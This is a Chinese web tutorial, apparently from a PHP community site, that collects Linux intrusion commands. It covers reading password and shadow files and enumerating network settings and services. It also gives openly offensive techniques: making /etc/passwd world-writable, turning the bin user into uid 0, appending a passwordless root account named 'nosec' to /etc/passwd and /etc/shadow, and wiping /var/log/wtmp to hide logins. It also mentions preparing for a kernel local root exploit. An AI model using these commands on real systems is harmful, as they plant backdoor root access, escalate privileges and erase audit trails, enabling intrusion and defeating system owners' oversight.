当前位置:  首页  >  服务器技术  >  Linux/unix  >  Linux教程

Linux系统下常用入侵命令大全

catetcpasswd查看linux用户catetcshadow查看用户密码需要root权限catetcsysconfignetwork-scriptsifcfg-ethnN代表网卡号查看所在网卡的ip信息ifconfig查看本机ip信息catetcresolv.conf查看DNS信息bash-i在反弹的shel

       cat /etc/passwd    //查看linux用户

  cat /etc/shadow     //查看用户密码需要root权限

  cat /etc/sysconfig/network-scripts/ifcfg-ethn    //N代表网卡号 查看所在网卡的ip信息

  ifconfig   //查看本机ip信息

  cat /etc/resolv.conf   //查看DNS信息

  bash -i   //在反弹的shell中使用可以直观显示命令

  bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成

  bash#。

  系统变量 : 试着echo $USER / $EUID 系统应该会告诉你它认为你是什么用户。

  echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,

  vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!

  netstat -an  grep LISTEN  grep :80 查看端口

  service --status-all   grep running

  service --status-all   grep http

  查看运行服务

  lsb_release -a 查看系统版本

  重启ssh服务 :/usr/sbin/sshd stop

  /usr/sbin/sshd start

  ssd_config文件里

  PasswordAuthentication no,

  将其改为

  PasswordAuthentication yes

  远程ssh才可登录

  否则显示Access denied

  其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

  su的菜鸟用法

  先chomod 777 /etc/passwd

  然后修改bin用户的gid和uid为0

  然后passwd设置bin的密码

  然后cp /bin/bash /sbin/nologin

  然后su的时候su - bin就可以到rootshell了。

  这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法

  还可以这样

  sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

  gcc prtcl2.c –o local –static –Wall

  echo nosec:x:0:0::/:/bin/sh >> /etc/passwd

  echo nosec::-1:-1:-1:-1:-1:-1:500 >> /etc/shadow

  清空last记录 cp /dev/null /var/log/wtmp

  -----

  dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的。

吐了个 "CAO" !
扫码关注 PHP1 官方微信号
PHP1.CN | 中国最专业的PHP中文社区 | PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | PHP问答
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved PHP1.CN 第一PHP社区 版权所有